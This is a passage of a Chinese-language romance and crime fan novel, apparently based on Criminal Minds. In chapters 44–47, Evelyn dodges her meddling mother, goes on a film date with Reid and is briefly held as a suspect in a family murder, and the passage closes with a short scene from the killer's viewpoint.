隔壁传来女人低声的念叨着哦天啊!她吃的太多了!那些脂肪会转化成肥腻的肉……
伊芙琳一块又一块,像是有人追着她一样越来越急切。
爱尔卡正死死的拽着维多利亚,防止对方冲过去。“你过去不就惊动她了!你不想看神秘男友了!”
“要不是……”维多利亚咬着指甲,“这个坏丫头!吃的这么多哦天啊她的嘴巴什么时候变成了无底洞,天太可怕了她竟然同时吃下两块猪排……“
眼见着下去了半盒子,维多利亚终于没忍住一把掀开爱尔卡的手,实际上爱尔卡也知道自己老胳膊老腿按不住,早早换了对面的位置上,看着维多利亚冲了过去。
小老太太摇了摇头,瞧瞧这对母女,孩子遛妈妈,伊芙琳吃的速度更快了,她显然早就知道她妈跟着她了。难怪刚开始就吃的那么急,这是生怕……哇哦,被端走了。
“伊芙!”维多利亚气的站在那单手叉腰,“我简直不敢相信我的女儿竟然要和穷困潦倒的人一样暴饮暴食。”
周围暴饮暴食的男人女人们……
穷困潦倒?
他们吗?
伊芙琳舔掉嘴角的辣椒酱,她吃饱了。
“妈妈,你怎么在这里。”伊芙琳不可置信,她望着维多利亚女士失望道“您又在跟踪我了是吗!”
“你简直太过分了!”
伊芙琳从小生活在大姐和母亲这两个戏疯子中间,耳濡目染学会了五官在什么情况下摆在什么位置才能有效的表露出人生的喜怒哀乐之情。
“不要让我失望了!”
“我……”维多利亚心虚三秒,硬着头皮挺着胸佯装镇定道“你想多了,我才没有跟着你呢……”
“那你怎么进了这家店。”
一间维多利亚女士深恶痛绝的油腻腻的肥肉炸弹店。
这无疑是案件中直接能够送犯人进监狱的最有力的证据。
除非……
维多利亚嗯了半天,插着腰嘴硬道“我就是突然想吃了,妈妈也有嘴馋的时候!”
女人心虚的时候胸脯挺得格外的高,但问题是家族一脉传承的平胸,让本就消瘦的维多利亚女士平的非常彻底,以至于她在挺起胸膛时,只有胸肋骨勉强让人看出来她是在仰头挺胸罢了。
伊芙琳面无表情的将那个盒子又拖到了母亲的眼皮子底下。
这时候爱尔卡走了过来。她看了眼维多利亚,不客气的笑了一声,这如同一声嘲笑刺痛了维多利亚。
她盯着只剩下五块的猪排,精心打理的短发挡住了她的侧脸,不过伊芙琳没瞧见老母亲的脸色却能从她那只停在炸鸡上空的手就能知道,对方的纠结痛恨然后再纠结。
维多利亚深吸口气,手指慢吞吞的像是受到了很大阻力一样来到猪排上空的一厘米处,她的手停留的时间越长,抖得越厉害。
在靠近油脂的半厘米的位置,她终于忍受不了了,“OK!我认输!好吧我就是要跟踪你的。”
伊芙琳将剩下的炸鸡排塞进嘴里,维多利亚女士难得理亏的偏头眼不见为净。爱尔卡和笑的一脸狡黠女孩比了个大拇指。
哼哼,伊芙琳得意地擦了擦手。
在回酒店的路上,维多利亚女士竭尽所能的想要套出那个男人的身份。
伊芙琳也没说要瞒着自己的妈妈,她说了个名字,然后维多利亚女士一脸茫然,并念叨着似乎有些耳熟。
爱尔卡记性不错,立刻想起来那天出现在医院的文弱的小男孩。她见一旁维多利亚还在念叨着怎么这么耳熟是哪个明星?或者导演?
她诚恳的和伊芙琳道“我建议你在你妈妈六十岁的时候,你们四个孩子赶紧将遗产分了吧。我怕她得阿尔兹海默症,”爱尔卡又补充了一句,“她现在看着就已经不太清醒了。”
伊芙琳捂着嘴扑哧一声,她实在没忍住,哦天啊,她们姐妹怎么那么有趣。
44.第 44 章
伊芙琳接到电话的时候,她正陪着那对中老年姐妹花在酒店看维多利亚女士新拍的电视剧。
据说这部剧接下来要出十三季。
质量怎么说呢……
爱尔卡看了十分钟就被又臭又长的无聊剧情拖的很快睡了过去,维多利亚女士并没有注意到。
她已经全身心投入其中,精神百倍的夸赞自己现象级的精湛演技,一共三十八分钟一集,她夸了能有二十八分钟。
期间夹杂着早年奋发向上的励志经历,也包含了晚年成功的摆脱了只能当妈妈祖母的角色。
甚至还能演几部爱情片,维多利亚女士非常的自得。她越夸越觉得自己厉害。甚至已经脱口而出奥斯卡她也是势在必得。
毕竟那部电影她彻底将自己变成了一个非常自毁形象的角色,奥斯卡组委会就好这口不是吗?
伊芙琳靠着沙发背,仰着头盯着天花板,她有一种要睡过去的感觉。意识时而清醒时而模糊,上面的光斑似乎慢慢扩大……
下午上飞机或许就可以解脱了,妈妈整个人兴奋起来非常的可怕,不排除多年的台词功底打下的坚实基础。
这时候手里铃声响起,伊芙琳本来半阖着眼都快睡着了,听到声音动作比脑子还要快。
爱尔卡已经找好了位置,抱着靠枕歪着身子还没醒。维多利亚女士如同在珠宝展欣赏奢华的宝石项链一样盯着电视,优雅的双腿交叠,完全听不到外界的任何声音。
伊芙琳接电话的同时就只有一个念头,不能让妈妈捣乱。现在是十一点,她下午三点的飞机,预留一个小时去机场剩下的也不到三个小时了。
想到这里,她扬起的嘴角下压,若无其事的接听了电话。
在对方还未说话前,伊芙琳接电话的时候余光瞥到了维多利亚女士看过来的视线,她立刻摸了摸眉毛,瞬间蹙眉,“来不了那就算了,东西让你帮忙送过来吗?哎!行吧我下去拿。”
幸亏自己一大早就收拾好自己,不然现在又是换衣服又是扎头发一定会被人怀疑。
伊芙琳非常淡定的和维多利亚女士说下楼拿东西,等一会上来。
维多利亚瞬间不感兴趣的转回视线。
伊芙琳拿着手机悄咪咪的将包塞到衣服里,出了房门在走廊正常的走着,到了拐角就飞速的冲向电梯。
墨迹了十五分钟!
下楼的时候从旋转门出来就看到瑞德站在大门一侧的树下。
他似乎刚洗了个澡,头发半干的状态,穿着一件衬衫搭配的是灰色的针织马甲,拿着手机站在门口。
“刚才是有人吗?不方便接电话可以过后给我打的,我不是很着急。”
瑞德以为伊芙琳是和朋友在一起,却没想到跑过来的人拉着他的手直接上了一辆车。
速度之快,瑞德觉得自己还没说完人就已经坐在后车座上了。
伊芙琳关上车门和司机说了影院的地址,在车缓缓的从酒店的前庭开了出去,没有看到熟悉的人影她才舒口气,顺道为身边已经满头雾水的瑞德解惑。
“我妈妈和她朋友过来了,要是被她们发现……”伊芙琳摊手表示,“她们很喜欢跟踪……”
梅兰妮好不容易找到的一家美发店,做的发型超级漂亮她很喜欢,结果不小心被维多利亚和乔伊发现并跟踪,梅兰妮和拖后腿的两个伙伴齐齐被挂在了美发店门口……禁止入内。
瑞德听伊芙琳提到妈妈,他似乎想起来,在警局的时候见过对方。
“看恐怖片吧。”
就在瑞德愣神的时候,身侧传来声音,他眨了眨眼,恐怖片吗?
这倒是和摩根的意见一模一样呢。只不过……瑞德抿着嘴耳朵慢腾腾的染上了粉色。
【在她害怕的时候你就直接揽着她的肩膀,兄弟记住了该出手的时候不要犹豫。呃如果对方前半场没有丝毫的恐惧,下半场你可以装作害怕牵着她的手让她安慰你也一样。男人要能屈能伸。】
揽着肩膀……牵手什么的……
瑞德脸颊都熏红了,匆匆偏过头看向窗外的景色,默背弗洛伊德的书。
伊芙琳拧着手指琢磨着到时候一定要记得靠过去,她反复的提醒自己。
这是件很重要的事情。
但即便如此……两人在电影播放后,前尘往事一忘皆空。
恐怖片拍的太令人上头了,而且它不只是一个恐怖剧情还带着悬疑和爱情,这让伊芙琳上半场在肾上腺素飙升后缓慢下降反应过来时……恐怖的片段早就过了。
就剩下男主回到家里洗澡,露出的尾椎以上的裸背……这时候靠过去显然不太可能了,时机完全错过了……
漆黑的空间,在荧屏黑一阵白一阵下,伊芙琳脸色也格外的不好看。
前面的几对早就半搭着肩膀搂在了一起,女孩子们无一例外全都埋进了男伴的怀里,其中一对竟然不经伊芙琳的同意套用了她的白日梦!
揽着女孩轻柔的围着对方的头,“乖,我在呢……”
伊芙琳咬着指甲死死的盯着油腻男。
心情平复了一分钟,才放下手看向身侧的人。
对方目光非常清澈且专注的看着大荧屏。脊背靠着椅子坐的非常端正,双手交叠搭在膝盖上,紧抿着嘴表情还有点严肃。
随着电影的不断深入,见他手抵着嘴巴蹙着眉的样子,像是有些心情不好,伊芙琳靠过去都不敢靠了,就怕贴过去人家表情冷淡的样子,那可真是一盆冷水浇透了。
伊芙琳手搭在扶手上,问道“怎么了?”
“呃……”瑞德刚要张嘴就听到后面突然传来的咳嗽声,很大的咳嗽声,他狐疑的看了眼身后,没发现什么才转过头,不过到嘴边的话他又咽了回去。
“怎么了?”身边的人询问,瑞德摇了摇头,“没什么,”
伊芙琳看了眼身后,大屏幕的光线瞬间暗了下来,她才转回头看着电影画面。
中间没怎么看,导致前后连接不上,伊芙琳也失去了兴趣,不过这兴趣消失后她突然
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注意到了之前没有发现的东西。
她内心突然涌出一个匪夷所思的想法,但不知道对不对,可她想了想还是偏头道“刚才鬼魂出场……”
这句刚说完,如同将阻挡洪水的闸门突然打开……挡都挡不住。
瑞德眼睛一亮,“你也发现了对吗?”
“简直是很奇怪不是吗?这完全违背了创作本意扒拉扒拉扒拉了……”
青年声音很小,语速放慢了很多。但依旧讲了很多西欧北欧中东地区的鬼怪,甚至已经话题展开到了神话……
伊芙琳喜欢看书,但也只喜欢看写的有趣的历史神话书籍,如果太枯燥乏味只会让她快速陷入沉睡。不过瑞德明显从书中提取了不少有意思的故事就连总结的吐槽也很令人发笑。
两人一个讲的不亦乐乎,一个听的强忍着笑意饶有兴致。
从后面看,这俩头对着头,仿佛下一秒就要和前面那几对一样吻上了。
可实际上看着瑞德那张没有人阻止就绝不会停下的嘴……
摩根咳嗽提醒的心思都没有了,高大的身子缓缓的摊在椅子上,一脸无望。
伊芙琳刚才没有注意到人影憧憧的最后一排角落,坐着闲来无事的穿着休闲装的罗西大叔,这人坐姿也很优雅,嘴角上扬笑着道,“瞧瞧两人的表情,那可不是一点进步都没有。在相处中发现双方某些特点非常契合,也是一件非常让人开心的事,瑞德和伊芙琳似乎都很满意。”
专门过来看小博士约会的摩根和加西亚以及看得津津有味本来就想看这部电影的艾米丽……
不说别人。
摩根捂着脑袋想要仰天长啸,“他俩在电话里培养感情差不多了,都快发酵了。做为成年人,他们一直连手都没牵过,这简直是非常的奇怪。”
“没有□□接触的感情都是无效的!”
摩根甚至能看到前面的卷毛巴拉巴拉眉飞色舞的说着。一点都没有想要在黑暗中做点什么。
不说崩溃的摩根。
没有时间一起吃饭的伊芙琳拎着包在机场直接准备走人的,和妈妈打了个电话顺道安抚一下对方,她回身看向站在一侧的瑞德。
她摸了摸鼻子,凑了过去,仰着头道“我要离开了,”实在是有些不甘心……
“我回去找你。应该很快。”瑞德话没说完,就听伊芙琳轻声道“你要不要抱抱我?”
说起来有些不好意思,伊芙琳佯装镇定站在那。
然后就是被人轻轻的抱进怀里,他身上还带着洗衣粉的清香,衣领软乎乎的贴着伊芙琳的额头。这姑娘心脏砰砰跳,双手在两边都紧张的握成拳了,然后飞速的上手攀爬到了对方的后背上,死死的拽着他的毛衣。
每一次感觉身前的人要离开,伊芙琳就拽着人家的毛衣按了回去,一共三次,直到登机提示,耳边的声音带着一丝无奈,“你该走了。”
伊芙琳胡乱的留下一句话,然后转身跑了。
“你那什么,别忘了我是第一个排队的!”
45.第 45 章
伊芙琳和翠丝西从便利店吃了东西出来后没多久,就捡到了一个两岁的小孩。
刚开始两人还没有注意到,只是几声咯咯笑引起了注意。路灯下有一个孩子慢吞吞的走了过来,她咬着手指,睡衣下半截的扣子没有扣上。
这么冷的深夜,谁家这么粗心让一个孩子跑了出来。翠丝上前一把将孩子抱了起来,这孩子不怕生看谁都是笑。
伊芙琳正和对面的接线员说了具体的地址,一旁的翠丝疑惑道“这衣服……怎么还掉色?”
孩子湿漉漉的红色花纹外套贴在翠丝的浅灰色的卫衣上,卫衣的浮毛上被蹭了一片暗色的痕迹。
伊芙琳挂断电话后将围巾拿下来包着孩子,将小家伙团团围在翠丝的怀里,两人一边进了电话亭。
寒冷的风被遮挡在外,伊芙琳将孩子嘴边的流苏毛线扯了下来,摸了摸她的小脸蛋。或许这时候凑的太近又或许电话亭太小太封闭了。血腥气越来越浓。
翠丝正看向窗外那条路上什么时候有警车过来,如果可以把她们顺道都送回家可就太好了。但这也只是想想罢了。
而伊芙琳却翻开围巾摸了摸孩子身上的衣服。
她脸色不太好的站起身,双手缩在上衣兜里,盯着窗外,一声不吭的似乎在烦恼着什么。
“怎么了?这个脸色。”
翠丝将孩子往上抱了抱,这小家伙很敦实,家里人养的不错。就是不怕陌生人睡抱着都跟着走,这就有些可怕了。
现在的人坏得很,翠丝觉得如果见到了家长一定要和对方谈一谈。
警察来的很快,一辆警车里有两名警察,应该是搭档关系,现在出警一般都会配两人以上的小组出去。防止出警或者巡逻时碰到不法分子,被无缘无故的爆头或者被流氓殴打。
翠丝抱着孩子来带警察面前,伊芙琳跟在后面,她看了眼两位年轻的先生中的一个从翠丝怀里抱过来孩子,围巾从孩子的脑袋上滑了下来。
抱着孩子的人似乎闻到了味道,他将孩子身前的围巾拨开,露出一身染血的睡衣。
登时,他们看向大晚上在机上溜达的姑娘们……
随着人类的进化,犯罪分子也在不断进化和成长,他们如同一个趋利避害的动物一样,将自己伪装成一个看起来非常温和的人。
两个温和无害的女孩子,被当成了可怕的杀人犯,被连夜带到了警察局。而这孩子是谁家的,显然他们也很快找到了。以至于本以为只是做诱拐犯的两人变成了杀人犯的嫌疑人之一和二。
审讯室,讲真的,伊芙琳第一次近距离参观审讯室,手机被一名女警员搜走了。
她穿着大衣坐在里面,面对着单面镜,头顶昏黄的灯光和安静到极致空间……此刻半夜十一点半左右,她见一直没有人进来,于是在睡意袭来时趴在桌子上睡着了。
在安静的社区内,一坐独栋房屋灯火通明,楼上的痕检人员正在提取地板上留下的痕迹,而床上一对夫妻的尸体被送到了法医的解剖台上。
一同被带走的还有夫妻二人的儿子,十六岁的男孩。
尸体四肢有被绑过的痕迹,楼下的客厅靠近电视机前方正对着沙发的位置有一把椅子,下面有椅子大力摩擦挣扎的划动的痕迹。沙发上的血渍最多。
致命伤在胸口,没有虐待和殴打,一招致命。
大致的死亡时间出来后,警方看了危机中心的视频,两人确实没有作案时间。
于是在凌晨四点左右,伊芙琳被人轻轻的推醒了。出了走廊正好和一个被警察带进来的男孩擦肩而过。
她裹紧大衣去找翠丝的时候,突然想起来这男孩是谁了。
就在这时翠丝脸色难看的被人请了出来,她瞪着送她出来的男人一眼,看见伊芙琳后拉着人快步离开。
伊芙琳这才知道这姑娘和警察同志据理力争,在这个过程中被口齿伶俐的先生怼到一度哑口无言到窒息。
又因为对方是……然后这里是警局她不能动手!憋得够呛。
出了门直接毫不避讳的骂到了一家餐馆。
两人堪称是饥寒交迫。
伊芙琳隔着玻璃选了三份牛排三明治后找了个靠近空调的位置,吹的浑身暖和了之后才将外套脱了下来搭在一旁的木质椅子上。
自己的围巾不知道还能不能拿回来,那个孩子家里不知道还有什么人。
瑞德和罗西明天在学校有一个讲座,今天下午六点的飞机。伊芙琳吹了吹三明治咬了一口,还是有些烫,她将两片白面包掰开吹着缝隙。
翠丝培根三明治一口咬下去一半,三个三明治飞速的下了肚子。
此刻外面还是黑黑的,差不多六点二十左右才能看到光亮,两人吃完后就实在没忍住,趴着餐桌睡到了七点,才在公共厕所里洗了把脸,直接往学校赶去。
一家三口被杀,而两岁的幸存者的照片被无良的记者挂在了各大网站上,还有报纸的头版头条。
孩子裹着围巾被警察抱在怀里似乎在睡觉。
伊芙琳实在是困的受不了了,她将手挡在眼前,装作低头看书的样子,闭上眼开始打起了瞌睡。
翠丝早就找好了舒服的姿势睡的正香。
两人睡了一节课又一节课,换着教室睡了一上午,在午餐的时候才精神起来。
翠丝觉得自己饿的都能吃下一头牛了,她在前面打完餐后到一边等着伊芙琳。等两人找好了位置坐下,吃着饭翠丝还念叨着扎特最近准备求婚。
扎特没有钱买戒指,于是奋发图强在外面当搬运工开车晚上在酒吧打工赚钱。
“佐伊都有些不忍心了,你是不是没见到过扎特现在的样子。”
“怎么了?”
“瘦脱相了,精神头都不太好了,佐伊这边也心疼,可问题是她又不想违心说自己不要戒指。”
伊芙琳低头吃了几口牛扒,嚼着食物含糊道“结婚是一辈子的事,佐伊确实要考虑清楚,如果一直迁就对方忽略自己的感受,这日子也过的不舒心。”
翠丝点点头,她觉得是这个意思,她和佐伊也是这么想的,不过话说回来,“你以后会离开西雅图吗?”
她可舍不得自己的好朋友嫁到那么远的地方,以后说不定都没有见面的机会了。
翠丝以为没这件事,她无时无刻不在暗搓搓的挑拨离间。
“你俩这都多久了,还没在一起。你当然很好看的我的朋友,但不是我说话难听,他肯定不是特别特别的喜欢你。”翠丝看了眼安静听她说话的伊芙琳,对方那双蓝汪汪的眼睛像一盏明镜一样,像是能轻易看出来翠丝内心深处的想法。
当然翠丝
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想多了,伊芙琳喜欢看着人家的嘴形联系耳朵听到的声音,这样听的更清楚。
说起这个,伊芙琳确实有些愁。
以至于回家收拾好后抱着两束正常的花去接机的时候,见到穿着灰色毛衣干净帅气的青年时,她心里还是有一种说不出的感觉,像是在惋惜。
毕竟这要是不争取到手里,估摸就是别人家的了。
罗西婉拒了伊芙琳想要一起用餐的想法,他挥了挥手提着行李箱和两人分开。
夜风吹过,瑞德捂着半张脸,狠狠的打了个喷嚏。蓬松的卷发略为长了,被他掖在而后,露出微微泛红的耳垂,两人在门口等车。
伊芙琳伸手摸了摸他的耳朵,瑞德没有任何躲开的动作,乖乖地低着头,感受着一抹微凉。
“你感冒了?”
棕色的眼睛都带着水汽。
瑞德摇了摇头,“不严重。”
他说话声都瓮声瓮气的。
车来了,伊芙琳直接报了个地址。
瑞德被风吹的脑子有些疼。他靠着车座慢吞吞的合上眼,不一会就睡着了,一路上没怎么颠簸的来到了伊芙琳家的楼下。
伊芙琳推了推旁边的人,对方过了好久才迷迷糊糊的爬起来,看了眼有些眼熟的大门口。
瑞德摸了摸自己的额头……
“你都烧成什么样了,快下车。”
什么想法都没有了,瑞德被牵着手拖到了伊芙琳家里。
这一宿,两人大眼瞪小眼,伊芙琳坐在床边的椅子上看着通红着脸蔫蔫的瑞德,轻叹口气和电话里的加西亚道,“39.5你们就让他这么过来了?”
加西亚一点都不含糊的反问道,“他非要过去找你嘛,你忍心责备他?小可怜发烧的时候是不是格外惹人怜惜?趁着他柔弱不能自理……伊芙琳我想要个教子。”
可真会教唆人犯罪,她是禽兽吗?人家都难受成这个样子了还能做什么事?
不过话说回来,吐槽归吐槽但自己的立场也要表明。
伊芙琳捂着电话看了眼已经闭上眼睡着了的瑞德,没好气道“可别这么说,我还是更喜欢女儿。”
伊芙琳还是很喜欢瑞德的那双像太阳又像是蜜糖一样的棕色眼睛,看着就漂亮。
“……铂金色的头发吗?我不太喜欢啊”伊芙琳听到加西亚说的mini版的小伊芙琳,她想了想还是觉得有些怪怪的。“还是浅棕色卷发最好看了,像一个小太阳,暖乎乎的一小团,嘿……”
伊芙琳没忍住捂着嘴浮想联翩,“她可真可爱,你不想要这么一个小太阳吗?”
加西亚在电话那边仔细想了想,越想越兴奋,整个人在沙发上扭成了一团,“可爱!”
躺在床上的病患将自己大半张越来越红的脸挪到了被子里,睫毛轻颤,紧抿着嘴,整个人烧的更厉害的样子。
“糟糕!不和你说了,”伊芙琳无意间瞥了眼只露出一双紧闭着眼睛的瑞德,她连忙挂断电话。额头的卷发被轻轻的推开,瑞德感觉到火热的额头上被一只微凉的手轻轻的摸着,他感觉很舒服,他想要贴过去可下一秒想到了……孩子……
腾的火焰升起,整个人都要熟透了。
伊芙琳赶忙打了家庭医生的电话。
不扎针是不行了!
要烧傻了!
46.第 46 章
本想着照顾病人的,最后变成了病人七点准时叫醒了伊芙琳,该上学了……
她正趴在床头柜上睡着,梦到了那个小女孩冲着她笑,然后就是一个看不清脸的男人在身后举着刀,就在小女孩的头上高高的悬空着。
胳膊被人轻轻的拍了拍,一下又一下,伊芙琳脸埋在胳膊上,偏头看到一只骨节分明的男人的手,她半梦半醒时心里一咯噔,这手和梦中举着刀的手意外的相似,视线顺着对方浅蓝色袖子往上看。
瑞德已经洗了澡,身后的浴室里还带着雾气,他的身上还有葡萄的味道。为了省事,伊芙琳在每一个浴室里放了同款的葡萄沐浴露和洗发露。
伊芙琳慢吞吞的坐起来,感觉身上每个位置都有嘎嘣嘎嘣的声音,昨晚睡的太难受了,浑身都疼。
“你怎么没吹头发。”她起身将人推进浴室,顺道直接洗了把脸回了自己的房间,出了走廊还听到嗡嗡的声音。
卧室外传来瑞德询问可以用冰箱里的食物吗?
伊芙琳扬声说可以。
不过她手在头上揉了几下,顶着泡沫站在花洒下回头看了眼浴室的门,仿佛能穿透这扇门看到外面的人会做什么早餐。
可接下来进她脑子里想的是另一件事。
他会做吧。
他会做吗?
飞速的将身上的泡沫洗掉,七手八脚地将柜子里早就放好的干净衣服套上,随便拿拖把将地上的水渍弄干净等着晚上回来再打扫。
头发也没吹直接胡乱的擦了干净用皮套扎了乱七八糟的丸子头。耳边一缕是湿乎乎的黏在肩窝上的,圆领的卫衣前襟还带着几滴暗色的水渍。
感觉实在是不舒服,又拿了一条干燥的毛巾搭在肩膀上趿拉着拖鞋小快步去了客厅。
瑞德正低着头用铲子认真的将平底锅里的煎蛋做的更圆,这是他的习惯,当然也是他做早餐时给自己找的乐子。
培根在一旁煎的边缘焦脆慢吞吞的蜷缩着身子。面包边缘被切掉外皮,四四方方的白色面包片堆叠在盘子里,瑞德随手擦掉了面包渣,将菜板清洗干净。
这就是伊芙琳握着胸前的毛巾,站在料理台前,看到的场景,干净整洁有条不紊。
还时不时的将产生的油点和碎渣擦掉。
即便灶台正在做着早餐也依旧非常干净。
伊芙琳上前帮忙组装三明治,将酸黄瓜片也夹在里面,淋上沙拉酱,拿着刀从中间斜切成一个完整的三角。
面包也被黄油煎的外皮焦脆,切的时候就听到外层的咔嚓声。
吃起来也非常的美味,一人两块,他直接倒了两杯牛奶放在桌子上,其中一杯他竟然拿去微波炉叮了一下。
伊芙琳看着面前冒着热气的牛奶愣了一。
“怎么了?”瑞德有些疑惑的询问。
伊芙琳摇了摇头,她拿着杯子放到嘴边,看了眼低头吃早餐的男人。直接将杯子挡住了自己忍不住上扬的嘴角。
他怎么知道她喝热牛奶,这给了伊芙琳一种说不出的感觉……他像是在认真的对待她……
这不是错觉吧,伊芙琳这般嘀咕着一边抿了一口热乎乎的牛奶。
三明治味道不错,非常的好吃。
伊芙琳好奇的问他还会做什么?跟他说他做的三明治非常好吃。
瑞德被夸的有些不好意思又带着一丝雀跃。
至于他会做什么,这位天才表示只要菜谱写了准确的食材和克数,他做出的食物和餐厅里的味道一样。
伊芙琳眼睛一亮,刚想说什么,就被瑞德抬手打断,“不会中餐……伊芙琳、伊芙你想问的是中餐的话。”
他语速在后面有些飞快,还有些不好意思的偏移视线。
伊芙琳自然不会干坐着没有回应,她咬着三明治想起了什么,满脸笑意,“中餐写的都是适量,斯潘塞你肯定不知道适量是多少克吧。”
“当然,”瑞德飞快的看了眼满脸笑意的姑娘,摸了摸耳朵抿着嘴笑,“适量就只能一点点加调味品品尝,可做包子又不能直接尝馅……”
原来想吃包子啦。包子是伊芙琳最拿手的面食,只是今晚他就要走啦,她也没时间做了。
不过伊芙琳准备下次做包子的时候用秤子秤一下重量。给他一份写一份带有精准克数的菜谱。
出门的时候,由于伊芙琳念叨着要迟到了(实际上还早。)
瑞德刚偏一半的身子想说什么,高高瘦瘦的个子,硬生生的被小他一个头的女孩推出了门。
行李……
瑞德看着关上门背着包往前跑的伊芙琳,默默的咽了下去,裤兜里的手机给了他一点安全感。
总之,再回来拿也一样……
———————————
翠丝看了眼讲台上的罗西和瑞德,又飘向了四周,满满的人,甚至有人将后面的通道都站满了。
可以容纳五百人的教室此刻多了很多人,像是一个罐头瓶里挤了好多沙丁鱼。
现在的学生们一部分因为悬疑剧而对犯罪心理感兴趣,另部分是对这两位联邦调查局成员所说的案件故事和犯罪心理分析感兴趣。
总的来说用一个词可以形容,酷。
翠丝看了一圈贴在伊芙琳耳边小声道“你听广播了吗?今早上又一起灭门案。”
早上提亚女士只给了她一包燕麦一盒冰箱里刚拿出来的牛奶,翠丝连吃了三天冷牛奶泡燕麦。
第一天,牛奶香滑配着脆脆的燕麦还别有一番滋味,第二天差强人意,第三天翠丝就有些受不了了,她只是稍稍抗议一下就被提亚女士劈头盖脸的叉腰骂了一通。
如果翠丝说的不是灭门案而是她今早和提亚女士的斗争,伊芙琳一定会分外唏嘘。
可怜的提亚女士,不仅要为自己的女儿收拾猪窝一般的房间,还要每天为四肢不勤的女儿做饭。
翠丝做过一次牛排,在伊芙琳家里。
烧焦的肉也没浪费,直接洗干净后片掉了焦糊的位置切成块和其他牛腩一起炖了汤。
虽然事情解决了,但伊芙琳家的灶台如同被炸了一样,她实在是不想面对。
言归正传,翠丝和母亲争吵的时候恰好听到了这件事。
“我妈现在骂这些杀人犯都和你一样,用死变态形容。”
伊芙琳看了眼台上的讲课的两位老师,她强忍着掏出包里的电脑现场查一下,这不会又是什么连环杀人案吧。
就在这时,瑞德讲了一半突然闭上嘴,他偏头看了眼罗西然后让出了位置。罗西接着和下面的学生们和一些老师,作为遗传和犯罪有无关联,他讲述家族成员集体打猎杀人事件。
瑞德出门接了电话。
【瑞德,我是JJ……你们现在能赶到案发现场吗?我们稍后就到。】
瑞德听完后干脆利落的回身敲了敲半开的教室讲座台旁边的大门,罗西看了他一
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眼,和低下的人道“今天的讲座暂停,抱歉各位。”
伊芙琳身边的那些学生也在窃窃私语,他们有的人问身边的人发生了什么。
瑞德离开前扫了眼人群,伊芙琳正低头拿着电脑查着案件消息,一旁的翠丝不知道是激动还是什么情况,胳膊肘怼的伊芙琳胳膊生疼。
翠丝得到了伊芙琳一道不善的视线,她立刻指了指前面,“他在找你吗?”
伊芙琳愣了一下,看了眼前面,对方似乎是在搜寻什么,她刚要抬手,就见对方转身跟着罗西离开。
手指失落的蜷缩着放在了膝盖上,伊芙琳轻叹口气,死手。
这时候电话来短信提示。一个脑袋登时搭在了伊芙琳的肩膀上。“他给你发短信了?”
翠丝有些好奇,这两人平常都是怎么交流的。
【接了一个案子,行李可能没办法去你家拿了,可以暂时放在那里吗?】
伊芙琳嘴角扬起一抹笑,一把将肩膀上撇嘴的翠丝推开,发了条短讯。
“扎特给佐伊发短信都会说宝贝我很想你,宝贝我在游戏厅打游戏有些忙不能和你说话……到了你这里,你们怎么这么一本正经的。”
翠丝摇了摇头,托着腮恨铁不成钢,“你昨晚不是将人带回去了,怎么什么都没发生吗?”
伊芙琳在网上根本没有得到任何消息,只能关上电脑放进背包里。
“他发烧,”伊芙琳一字一句无奈道“我都和你说了他发烧。”
昨晚上两通电话真是……翠丝打电话过来听到瑞德难受的哼了一声,由于男性在感冒中鼻音加重,声音有可能比较……
总之,翠丝非常兴奋,她在那边和佐伊欢呼的声音大概能穿透她们家整栋楼,伊芙琳说什么她们都快听不进去了一样。
就例如现在,对于伊芙琳所说的发烧这件事,翠丝不以为意,她举了一个例子,“只要一方是清醒的就足够了亲爱的。你可以自己……”
翠丝被伊芙琳捂着嘴支支吾吾的说不出话来。她头疼的厉害,身边的女孩怎么一个两个嘴巴都这么开放。
“这里人这么多,祖宗”伊芙琳心累道“我的大祖宗啊,你是我祖宗行不,我天天给你烧香,能拜托你别总是在公用场合开这种玩笑好吗?咱们会成为焦点的。”
一旁收拾东西慢悠悠的女生顿时加快速度拎着包走了,行为举止似乎都非常配合伊芙琳说的话。
她显然听了不少。
翠丝点点头,硬生生扒拉开好友的手,她小声道“那我可以在电话里和你说吗。”
伊芙琳无言以对,只能抱着包赶紧离开。
———————————
瑞德顺着红色的脚印上楼,步伐间距推测犯人的身高在一米七六到一米七八之间,脚印很深,边缘清晰,体重较重。
他似乎在儿童房停留了很久,绕着婴儿床走了几圈。
孩子的房间温馨又可爱,宝宝的照片挂在一面墙上,有刚出生时妈妈在产房贴着孩子的脸,有孩子第一次睁眼的照片,第一次翻身、第一次坐起来……
一家三口的照片,妈妈抱着孩子坐在椅子上,爸爸和儿子一起站在母女俩的身侧……
唯有这最后一张照片上,带着一抹像是手指触碰的红色血印,触碰着女人和孩子的脸上。
粉色的枕头上也有血液的痕迹,瑞德轻轻挪开一角,一个破损严重的布娃娃穿着泛黄的花裙子……
47.第 47 章
男人慢吞吞的从厨房经过去往后门。
他穿上水泥阶梯上发臭的大号靴子,上面脏兮兮的动物粪便,绕过满地的鸡鸭,来到了后面的猪圈。
猪圈里的味道很大,看到男人过来,肥硕的猪发出哼哼声,有的和男人一样拖着肥胖的身体慢吞吞的来到栅栏边仰着猪脑袋。
男人穿着灰色的工作服,摸着猪的脑袋,在上面落下一层鲜红的血渍,新鲜的,还未干涸。
他似乎只是来看一眼,顺道打扫一番,也不知道过了多久。
附近的农户相距也有一两百里路,四下除了动物们的声音,都分外的寂静。
头顶的阳光穿过微黄的树叶,草坡上还有孩子的玩具桶。
男人胖胖的颓废的面容似乎带了一丝温和的笑意,他将小女儿的宝贝拿到水龙头下洗刷干净,才甩了甩水珠扣在水泥台阶上,顺道穿着靴子在水龙头下洗刷干净表面,才来到台阶上在门廊下脱下靴子。
打开后门,屋子里有些乱,男人看着妻子躺在老旧的印花沙发上,他不发一言的路过来到了楼上,湿漉漉粘稠的液体被他踩的啪唧啪唧的响。
二楼的尽头是小女儿的房间,他推开房门,小丫头才两岁大,睡在小床上小脸红扑扑的,男人将半盖在孩子鼻子上的粉色小被子掖到下巴。
小家伙迷迷糊糊的被爸爸的手磨了下巴,哼叽一声“爸爸。”
是撒娇的奶声奶气。
男人轻拍着孩子的后背,无声的哄着孩子睡觉。
只不过哄着哄着,男人脸部抽搐,拍着女儿的手突然握成拳头砸着脑袋,神经的刺痛让他忍不住大声哀嚎,眼前的画面一会是红色一会是白色。
他喘着粗气起身离开,拖着沉重的身体来到楼下,他气喘如牛,一步一个边缘清晰的鞋印子落到了地板上,
